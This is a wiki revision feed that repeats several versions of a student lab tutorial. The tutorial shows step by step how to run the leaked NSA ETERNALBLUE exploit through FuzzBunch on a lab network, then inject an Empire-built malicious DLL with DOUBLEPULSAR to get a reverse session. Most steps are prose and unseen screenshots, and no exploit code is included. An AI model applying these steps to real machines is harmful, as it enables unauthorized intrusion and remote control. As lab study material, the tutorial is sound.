Again, we’ll use every parameter with default configuration stopping when we reached the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture12.PNG]]&lt;br /&gt;
&lt;br /&gt;
We must select the architecture of the Windows 7/2008 target machine that we are going to impact (in&lt;br /&gt;
my case it is x64). Then, we’ll do the most important part of this step, we are going to indicate that we&lt;br /&gt;
want to perform a DLL injection (Option 2 – “RunDLL”).&lt;br /&gt;
&lt;br /&gt;
The framework will ask us for the local path where our malicious DLL is located (which is the one we&lt;br /&gt;
created with Empire and we copied to Windows XP attacker machine). The following parameters must&lt;br /&gt;
be used with default configuration.&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run DOUBLEPULSAR.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture13.PNG]]&lt;br /&gt;
&lt;br /&gt;
And if everything works cool…&lt;br /&gt;
&lt;br /&gt;
[[File:Capture14.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Getting Empire session ===&lt;br /&gt;
&lt;br /&gt;
[[File:Capture15.PNG]]&lt;br /&gt;
&lt;br /&gt;
Interact with victim&lt;br /&gt;
&lt;br /&gt;
[[File:Capture16.PNG]]&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=File:Capture16.PNG&amp;diff=120729</id>
		<title>File:Capture16.PNG</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=File:Capture16.PNG&amp;diff=120729"/>
		<updated>2017-04-30T17:06:05Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=File:Capture15.PNG&amp;diff=120728</id>
		<title>File:Capture15.PNG</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=File:Capture15.PNG&amp;diff=120728"/>
		<updated>2017-04-30T17:06:01Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120727</id>
		<title>NSA - MS17-010</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120727"/>
		<updated>2017-04-30T17:05:23Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Injecting the malicious DLL via DoublePulsar */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Microsoft Security Bulletin MS17-010 - NSA Tool leak ==&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
At last April 8, TheShadowBrokers has published a bunch of tools that was stolen from the NSA Arsenal&lt;br /&gt;
Hacker Tools. A Github repository is the following: https://github.com/misterch0c/shadowbroker.&lt;br /&gt;
In this paper, we’ll focus on ETERNALBLUE exploit for Microsoft Windows and the plugin&lt;br /&gt;
DOUBLEPULSAR. To leverage these “fantastic” codes, we’ll be using FUZZBUNCH, The NSA’s&lt;br /&gt;
“Metasploit”&lt;br /&gt;
&lt;br /&gt;
=== Why Eternalblue &amp;amp; DoublePulsar? ===&lt;br /&gt;
&lt;br /&gt;
ETERNALBLUE is the only one that can be used to attacking Windows 7 and Windows Server 2008 without needing authentication. After that, we&lt;br /&gt;
can use the plugin DOUBLEPULSAR in order that injecting remotely a malicious DLL on the target&lt;br /&gt;
machine.We wi ll make a malicious DLL using Empire to get&lt;br /&gt;
a reverse connection from the target to the attacker machine.&lt;br /&gt;
&lt;br /&gt;
=== Setting up Environment ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attacker:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7 ( To execute NSA tool ): &#039;&#039;&#039;192.168.0.106&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Kali Linux ( To generate DLL file and being a listener https://github.com/EmpireProject/Empire ): &#039;&#039;&#039;192.168.0.109&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Victim:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7/SVR2008 : &#039;&#039;&#039;192.168.0.107&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
We are going to use FUZZBUNCH, the NSA’s “Metasploit”. As mentioned above, this framework was&lt;br /&gt;
coded with Python 2.6 and it uses an old version of PyWin32: v2.12.&lt;br /&gt;
&lt;br /&gt;
Knowing that, we must install the following tools in our Windows XP attacker machine:&lt;br /&gt;
&lt;br /&gt;
- Python 2.6: https://www.python.org/download/releases/2.6/ (add it to the Windows’ PATH&lt;br /&gt;
environment variable)&lt;br /&gt;
&lt;br /&gt;
- PyWin32 v2.12: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/&lt;br /&gt;
&lt;br /&gt;
- Notepad++: https://notepad-plus-plus.org/download/ (You can also use Notepad).&lt;br /&gt;
&lt;br /&gt;
All of them are executable installers so we can just press “next, next, next, accept, next…”.&lt;br /&gt;
&lt;br /&gt;
When we finish our installations, we must open a cmd.exe and move to the folder where the tool was&lt;br /&gt;
downloaded, punctually where the FUZZBUNCH: “fb.py” is (inside the folder shadowbrokermaster/Windows) and then execute “python fb.py”.&lt;br /&gt;
&lt;br /&gt;
You will see that it won’t run correctly, the script will show you an error because it’s not finding the&lt;br /&gt;
directory named “ListeningPost”. This happens because inside the leak that specific folder is empty. So,&lt;br /&gt;
to avoid that error we edit “fb.py” and simply comment the line number 72:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture.PNG]]&lt;br /&gt;
&lt;br /&gt;
After that, we proceed to open the Fuzzbunch.xml file that is inside the same folder in order that replace&lt;br /&gt;
the paths on the line 19 and 24 for other ones that we could have in our own system, for example:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture2.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Executing the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
Now, we can execute again the command “python fb.py” and we should see that FUZZBUNCH is doing it&lt;br /&gt;
correctly:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture3.PNG]]&lt;br /&gt;
&lt;br /&gt;
When we initialize FUZZBUNCH, it will ask for a target IP address, we must write our target IP (Windows&lt;br /&gt;
7/2008 machine).&lt;br /&gt;
&lt;br /&gt;
Immediately, it will ask for a callback’s IP, we must specify the attacker IP (Windows XP machine).&lt;br /&gt;
&lt;br /&gt;
[[File:Capture4.PNG]]&lt;br /&gt;
&lt;br /&gt;
Press “enter” to continue and it will ask for a name to the project. We used the one already created&lt;br /&gt;
&amp;quot;eternal1&amp;quot;. If you don’t have any, press “enter” to be asked for a name. With that data, the log folder for&lt;br /&gt;
that project will be created.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture5.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Using EternalBlue framework ===&lt;br /&gt;
&lt;br /&gt;
The first step is to select the exploit that we are going to use, which is ETERNALBLUE. So, we’ll execute&lt;br /&gt;
on the FUZZBUNCH terminal: “use EternalBlue”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture6.PNG]]&lt;br /&gt;
&lt;br /&gt;
From this point, we’ll use by default configurations in every parameter, EXCEPT at the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture7.PNG]]&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run ETERNALBLUE&lt;br /&gt;
&lt;br /&gt;
If all was as we expected, we should see the message “Eternalblue Succeeded”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture8.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Generating malicious DLL by using Empire===&lt;br /&gt;
&lt;br /&gt;
At this step, we need to create a malicious DLL (the Payload) which we’ll use with DOUBLEPULSAR to&lt;br /&gt;
remotely inject it into the target’s system previously impacted with ETERNALBLUE.&lt;br /&gt;
&lt;br /&gt;
To create the DLL, we need to move to the Linux attacker machine where we have installed the Empire&lt;br /&gt;
framework.&lt;br /&gt;
&lt;br /&gt;
Step 1: Set up a listener that can receive the reverse connection when the DLL is being injected&lt;br /&gt;
&lt;br /&gt;
[[File:Capture9.PNG]]&lt;br /&gt;
&lt;br /&gt;
Note: The IP address that we must to set at “Host” parameter is from the Linux attacker machine.&lt;br /&gt;
&lt;br /&gt;
Step 2: Create the malicious DLL&lt;br /&gt;
&lt;br /&gt;
[[File:Capture10.PNG]]&lt;br /&gt;
&lt;br /&gt;
Now we have our malicious DLL in /tmp/launcher.dll, we should simply copy that DLL to the Windows XP&lt;br /&gt;
attacker machine so we can use it with FUZZBUNCH.&lt;br /&gt;
&lt;br /&gt;
=== Injecting the malicious DLL via DoublePulsar ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Going back to the Windows XP attacker machine, we now run “use DoublePulsar” on the FUZZBUNCH&lt;br /&gt;
terminal.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture11.PNG]]&lt;br /&gt;
&lt;br /&gt;
Again, we’ll use every parameter with default configuration stopping when we reached the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture12.PNG]]&lt;br /&gt;
&lt;br /&gt;
We must select the architecture of the Windows 7/2008 target machine that we are going to impact (in&lt;br /&gt;
my case it is x64). Then, we’ll do the most important part of this step, we are going to indicate that we&lt;br /&gt;
want to perform a DLL injection (Option 2 – “RunDLL”).&lt;br /&gt;
&lt;br /&gt;
The framework will ask us for the local path where our malicious DLL is located (which is the one we&lt;br /&gt;
created with Empire and we copied to Windows XP attacker machine). The following parameters must&lt;br /&gt;
be used with default configuration.&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run DOUBLEPULSAR.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture13.PNG]]&lt;br /&gt;
&lt;br /&gt;
And if everything works cool…&lt;br /&gt;
&lt;br /&gt;
[[File:Capture14.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Creating listener and malicious DLL with Empire===&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120726</id>
		<title>NSA - MS17-010</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120726"/>
		<updated>2017-04-30T17:04:25Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Injecting the malicious DLL via DoublePulsar */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Microsoft Security Bulletin MS17-010 - NSA Tool leak ==&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
At last April 8, TheShadowBrokers has published a bunch of tools that was stolen from the NSA Arsenal&lt;br /&gt;
Hacker Tools. A Github repository is the following: https://github.com/misterch0c/shadowbroker.&lt;br /&gt;
In this paper, we’ll focus on ETERNALBLUE exploit for Microsoft Windows and the plugin&lt;br /&gt;
DOUBLEPULSAR. To leverage these “fantastic” codes, we’ll be using FUZZBUNCH, The NSA’s&lt;br /&gt;
“Metasploit”&lt;br /&gt;
&lt;br /&gt;
=== Why Eternalblue &amp;amp; DoublePulsar? ===&lt;br /&gt;
&lt;br /&gt;
ETERNALBLUE is the only one that can be used to attacking Windows 7 and Windows Server 2008 without needing authentication. After that, we&lt;br /&gt;
can use the plugin DOUBLEPULSAR in order that injecting remotely a malicious DLL on the target&lt;br /&gt;
machine.We wi ll make a malicious DLL using Empire to get&lt;br /&gt;
a reverse connection from the target to the attacker machine.&lt;br /&gt;
&lt;br /&gt;
=== Setting up Environment ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attacker:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7 ( To execute NSA tool ): &#039;&#039;&#039;192.168.0.106&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Kali Linux ( To generate DLL file and being a listener https://github.com/EmpireProject/Empire ): &#039;&#039;&#039;192.168.0.109&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Victim:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7/SVR2008 : &#039;&#039;&#039;192.168.0.107&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
We are going to use FUZZBUNCH, the NSA’s “Metasploit”. As mentioned above, this framework was&lt;br /&gt;
coded with Python 2.6 and it uses an old version of PyWin32: v2.12.&lt;br /&gt;
&lt;br /&gt;
Knowing that, we must install the following tools in our Windows XP attacker machine:&lt;br /&gt;
&lt;br /&gt;
- Python 2.6: https://www.python.org/download/releases/2.6/ (add it to the Windows’ PATH&lt;br /&gt;
environment variable)&lt;br /&gt;
&lt;br /&gt;
- PyWin32 v2.12: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/&lt;br /&gt;
&lt;br /&gt;
- Notepad++: https://notepad-plus-plus.org/download/ (You can also use Notepad).&lt;br /&gt;
&lt;br /&gt;
All of them are executable installers so we can just press “next, next, next, accept, next…”.&lt;br /&gt;
&lt;br /&gt;
When we finish our installations, we must open a cmd.exe and move to the folder where the tool was&lt;br /&gt;
downloaded, punctually where the FUZZBUNCH: “fb.py” is (inside the folder shadowbrokermaster/Windows) and then execute “python fb.py”.&lt;br /&gt;
&lt;br /&gt;
You will see that it won’t run correctly, the script will show you an error because it’s not finding the&lt;br /&gt;
directory named “ListeningPost”. This happens because inside the leak that specific folder is empty. So,&lt;br /&gt;
to avoid that error we edit “fb.py” and simply comment the line number 72:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture.PNG]]&lt;br /&gt;
&lt;br /&gt;
After that, we proceed to open the Fuzzbunch.xml file that is inside the same folder in order that replace&lt;br /&gt;
the paths on the line 19 and 24 for other ones that we could have in our own system, for example:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture2.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Executing the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
Now, we can execute again the command “python fb.py” and we should see that FUZZBUNCH is doing it&lt;br /&gt;
correctly:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture3.PNG]]&lt;br /&gt;
&lt;br /&gt;
When we initialize FUZZBUNCH, it will ask for a target IP address, we must write our target IP (Windows&lt;br /&gt;
7/2008 machine).&lt;br /&gt;
&lt;br /&gt;
Immediately, it will ask for a callback’s IP, we must specify the attacker IP (Windows XP machine).&lt;br /&gt;
&lt;br /&gt;
[[File:Capture4.PNG]]&lt;br /&gt;
&lt;br /&gt;
Press “enter” to continue and it will ask for a name to the project. We used the one already created&lt;br /&gt;
&amp;quot;eternal1&amp;quot;. If you don’t have any, press “enter” to be asked for a name. With that data, the log folder for&lt;br /&gt;
that project will be created.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture5.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Using EternalBlue framework ===&lt;br /&gt;
&lt;br /&gt;
The first step is to select the exploit that we are going to use, which is ETERNALBLUE. So, we’ll execute&lt;br /&gt;
on the FUZZBUNCH terminal: “use EternalBlue”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture6.PNG]]&lt;br /&gt;
&lt;br /&gt;
From this point, we’ll use by default configurations in every parameter, EXCEPT at the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture7.PNG]]&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run ETERNALBLUE&lt;br /&gt;
&lt;br /&gt;
If all was as we expected, we should see the message “Eternalblue Succeeded”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture8.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Generating malicious DLL by using Empire===&lt;br /&gt;
&lt;br /&gt;
At this step, we need to create a malicious DLL (the Payload) which we’ll use with DOUBLEPULSAR to&lt;br /&gt;
remotely inject it into the target’s system previously impacted with ETERNALBLUE.&lt;br /&gt;
&lt;br /&gt;
To create the DLL, we need to move to the Linux attacker machine where we have installed the Empire&lt;br /&gt;
framework.&lt;br /&gt;
&lt;br /&gt;
Step 1: Set up a listener that can receive the reverse connection when the DLL is being injected&lt;br /&gt;
&lt;br /&gt;
[[File:Capture9.PNG]]&lt;br /&gt;
&lt;br /&gt;
Note: The IP address that we must to set at “Host” parameter is from the Linux attacker machine.&lt;br /&gt;
&lt;br /&gt;
Step 2: Create the malicious DLL&lt;br /&gt;
&lt;br /&gt;
[[File:Capture10.PNG]]&lt;br /&gt;
&lt;br /&gt;
Now we have our malicious DLL in /tmp/launcher.dll, we should simply copy that DLL to the Windows XP&lt;br /&gt;
attacker machine so we can use it with FUZZBUNCH.&lt;br /&gt;
&lt;br /&gt;
=== Injecting the malicious DLL via DoublePulsar ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Going back to the Windows XP attacker machine, we now run “use DoublePulsar” on the FUZZBUNCH&lt;br /&gt;
terminal.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture11.PNG]]&lt;br /&gt;
&lt;br /&gt;
Again, we’ll use every parameter with default configuration stopping when we reached the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture12.PNG]]&lt;br /&gt;
&lt;br /&gt;
We must select the architecture of the Windows 7/2008 target machine that we are going to impact (in&lt;br /&gt;
my case it is x64). Then, we’ll do the most important part of this step, we are going to indicate that we&lt;br /&gt;
want to perform a DLL injection (Option 2 – “RunDLL”).&lt;br /&gt;
&lt;br /&gt;
The framework will ask us for the local path where our malicious DLL is located (which is the one we&lt;br /&gt;
created with Empire and we copied to Windows XP attacker machine). The following parameters must&lt;br /&gt;
be used with default configuration.&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run DOUBLEPULSAR.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture13.PNG]]&lt;br /&gt;
&lt;br /&gt;
And if everything works cool…&lt;br /&gt;
&lt;br /&gt;
[[File:Capture14.PNG]]&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=File:Capture14.PNG&amp;diff=120725</id>
		<title>File:Capture14.PNG</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=File:Capture14.PNG&amp;diff=120725"/>
		<updated>2017-04-30T17:04:19Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=File:Capture13.PNG&amp;diff=120724</id>
		<title>File:Capture13.PNG</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=File:Capture13.PNG&amp;diff=120724"/>
		<updated>2017-04-30T17:03:49Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120723</id>
		<title>NSA - MS17-010</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120723"/>
		<updated>2017-04-30T17:02:59Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Injecting the malicious DLL via DoublePulsar */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Microsoft Security Bulletin MS17-010 - NSA Tool leak ==&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
At last April 8, TheShadowBrokers has published a bunch of tools that was stolen from the NSA Arsenal&lt;br /&gt;
Hacker Tools. A Github repository is the following: https://github.com/misterch0c/shadowbroker.&lt;br /&gt;
In this paper, we’ll focus on ETERNALBLUE exploit for Microsoft Windows and the plugin&lt;br /&gt;
DOUBLEPULSAR. To leverage these “fantastic” codes, we’ll be using FUZZBUNCH, The NSA’s&lt;br /&gt;
“Metasploit”&lt;br /&gt;
&lt;br /&gt;
=== Why Eternalblue &amp;amp; DoublePulsar? ===&lt;br /&gt;
&lt;br /&gt;
ETERNALBLUE is the only one that can be used to attacking Windows 7 and Windows Server 2008 without needing authentication. After that, we&lt;br /&gt;
can use the plugin DOUBLEPULSAR in order that injecting remotely a malicious DLL on the target&lt;br /&gt;
machine.We wi ll make a malicious DLL using Empire to get&lt;br /&gt;
a reverse connection from the target to the attacker machine.&lt;br /&gt;
&lt;br /&gt;
=== Setting up Environment ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attacker:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7 ( To execute NSA tool ): &#039;&#039;&#039;192.168.0.106&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Kali Linux ( To generate DLL file and being a listener https://github.com/EmpireProject/Empire ): &#039;&#039;&#039;192.168.0.109&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Victim:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7/SVR2008 : &#039;&#039;&#039;192.168.0.107&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
We are going to use FUZZBUNCH, the NSA’s “Metasploit”. As mentioned above, this framework was&lt;br /&gt;
coded with Python 2.6 and it uses an old version of PyWin32: v2.12.&lt;br /&gt;
&lt;br /&gt;
Knowing that, we must install the following tools in our Windows XP attacker machine:&lt;br /&gt;
&lt;br /&gt;
- Python 2.6: https://www.python.org/download/releases/2.6/ (add it to the Windows’ PATH&lt;br /&gt;
environment variable)&lt;br /&gt;
&lt;br /&gt;
- PyWin32 v2.12: https://sourceforge.net/projects/pywin32/files/pywin32/Build%20212/&lt;br /&gt;
&lt;br /&gt;
- Notepad++: https://notepad-plus-plus.org/download/ (You can also use Notepad).&lt;br /&gt;
&lt;br /&gt;
All of them are executable installers so we can just press “next, next, next, accept, next…”.&lt;br /&gt;
&lt;br /&gt;
When we finish our installations, we must open a cmd.exe and move to the folder where the tool was&lt;br /&gt;
downloaded, punctually where the FUZZBUNCH: “fb.py” is (inside the folder shadowbrokermaster/Windows) and then execute “python fb.py”.&lt;br /&gt;
&lt;br /&gt;
You will see that it won’t run correctly, the script will show you an error because it’s not finding the&lt;br /&gt;
directory named “ListeningPost”. This happens because inside the leak that specific folder is empty. So,&lt;br /&gt;
to avoid that error we edit “fb.py” and simply comment the line number 72:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture.PNG]]&lt;br /&gt;
&lt;br /&gt;
After that, we proceed to open the Fuzzbunch.xml file that is inside the same folder in order that replace&lt;br /&gt;
the paths on the line 19 and 24 for other ones that we could have in our own system, for example:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture2.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Executing the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
Now, we can execute again the command “python fb.py” and we should see that FUZZBUNCH is doing it&lt;br /&gt;
correctly:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture3.PNG]]&lt;br /&gt;
&lt;br /&gt;
When we initialize FUZZBUNCH, it will ask for a target IP address, we must write our target IP (Windows&lt;br /&gt;
7/2008 machine).&lt;br /&gt;
&lt;br /&gt;
Immediately, it will ask for a callback’s IP, we must specify the attacker IP (Windows XP machine).&lt;br /&gt;
&lt;br /&gt;
[[File:Capture4.PNG]]&lt;br /&gt;
&lt;br /&gt;
Press “enter” to continue and it will ask for a name to the project. We used the one already created&lt;br /&gt;
&amp;quot;eternal1&amp;quot;. If you don’t have any, press “enter” to be asked for a name. With that data, the log folder for&lt;br /&gt;
that project will be created.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture5.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Using EternalBlue framework ===&lt;br /&gt;
&lt;br /&gt;
The first step is to select the exploit that we are going to use, which is ETERNALBLUE. So, we’ll execute&lt;br /&gt;
on the FUZZBUNCH terminal: “use EternalBlue”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture6.PNG]]&lt;br /&gt;
&lt;br /&gt;
From this point, we’ll use by default configurations in every parameter, EXCEPT at the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture7.PNG]]&lt;br /&gt;
&lt;br /&gt;
Finally, it will ask us if we want to run ETERNALBLUE&lt;br /&gt;
&lt;br /&gt;
If all was as we expected, we should see the message “Eternalblue Succeeded”.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture8.PNG]]&lt;br /&gt;
&lt;br /&gt;
=== Generating malicious DLL by using Empire===&lt;br /&gt;
&lt;br /&gt;
At this step, we need to create a malicious DLL (the Payload) which we’ll use with DOUBLEPULSAR to&lt;br /&gt;
remotely inject it into the target’s system previously impacted with ETERNALBLUE.&lt;br /&gt;
&lt;br /&gt;
To create the DLL, we need to move to the Linux attacker machine where we have installed the Empire&lt;br /&gt;
framework.&lt;br /&gt;
&lt;br /&gt;
Step 1: Set up a listener that can receive the reverse connection when the DLL is being injected&lt;br /&gt;
&lt;br /&gt;
[[File:Capture9.PNG]]&lt;br /&gt;
&lt;br /&gt;
Note: The IP address that we must to set at “Host” parameter is from the Linux attacker machine.&lt;br /&gt;
&lt;br /&gt;
Step 2: Create the malicious DLL&lt;br /&gt;
&lt;br /&gt;
[[File:Capture10.PNG]]&lt;br /&gt;
&lt;br /&gt;
Now we have our malicious DLL in /tmp/launcher.dll, we should simply copy that DLL to the Windows XP&lt;br /&gt;
attacker machine so we can use it with FUZZBUNCH.&lt;br /&gt;
&lt;br /&gt;
=== Injecting the malicious DLL via DoublePulsar ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Going back to the Windows XP attacker machine, we now run “use DoublePulsar” on the FUZZBUNCH&lt;br /&gt;
terminal.&lt;br /&gt;
&lt;br /&gt;
[[File:Capture11.PNG]]&lt;br /&gt;
&lt;br /&gt;
Again, we’ll use every parameter with default configuration stopping when we reached the following:&lt;br /&gt;
&lt;br /&gt;
[[File:Capture12.PNG]]&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=File:Capture12.PNG&amp;diff=120722</id>
		<title>File:Capture12.PNG</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=File:Capture12.PNG&amp;diff=120722"/>
		<updated>2017-04-30T17:02:50Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Lphanvan</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120721</id>
		<title>NSA - MS17-010</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=NSA_-_MS17-010&amp;diff=120721"/>
		<updated>2017-04-30T17:02:31Z</updated>

		<summary type="html">&lt;p&gt;Lphanvan: /* Injecting the malicious DLL via DoublePulsar */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Microsoft Security Bulletin MS17-010 - NSA Tool leak ==&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
At last April 8, TheShadowBrokers has published a bunch of tools that was stolen from the NSA Arsenal&lt;br /&gt;
Hacker Tools. A Github repository is the following: https://github.com/misterch0c/shadowbroker.&lt;br /&gt;
In this paper, we’ll focus on ETERNALBLUE exploit for Microsoft Windows and the plugin&lt;br /&gt;
DOUBLEPULSAR. To leverage these “fantastic” codes, we’ll be using FUZZBUNCH, The NSA’s&lt;br /&gt;
“Metasploit”&lt;br /&gt;
&lt;br /&gt;
=== Why Eternalblue &amp;amp; DoublePulsar? ===&lt;br /&gt;
&lt;br /&gt;
ETERNALBLUE is the only one that can be used to attacking Windows 7 and Windows Server 2008 without needing authentication. After that, we&lt;br /&gt;
can use the plugin DOUBLEPULSAR in order that injecting remotely a malicious DLL on the target&lt;br /&gt;
machine.We wi ll make a malicious DLL using Empire to get&lt;br /&gt;
a reverse connection from the target to the attacker machine.&lt;br /&gt;
&lt;br /&gt;
=== Setting up Environment ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Attacker:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7 ( To execute NSA tool ): &#039;&#039;&#039;192.168.0.106&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Kali Linux ( To generate DLL file and being a listener https://github.com/EmpireProject/Empire ): &#039;&#039;&#039;192.168.0.109&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Victim:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
- Windows 7/SVR2008 : &#039;&#039;&#039;192.168.0.107&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up the FuzzBunch ===&lt;br /&gt;
&lt;br /&gt;
We are going to use FUZZBUNCH, the NSA’s “Metasploit”. As mentioned above, this framework was&lt;br /&gt;
coded with Python 2.6 and it uses an old version of PyWin32: v2.12.&lt;br /&gt;
&lt;br /&gt;
Knowing that, we must install the following tools in our Windows XP attacker machine:&lt;br /&gt;
&lt;br /&gt;
- Python 2.6: https://www.python.org/download/releases/2.6/ (add it to the Windows’ PATH&lt;br /&gt;
environment variable)&lt;br /&gt;
&lt;br /&gt;
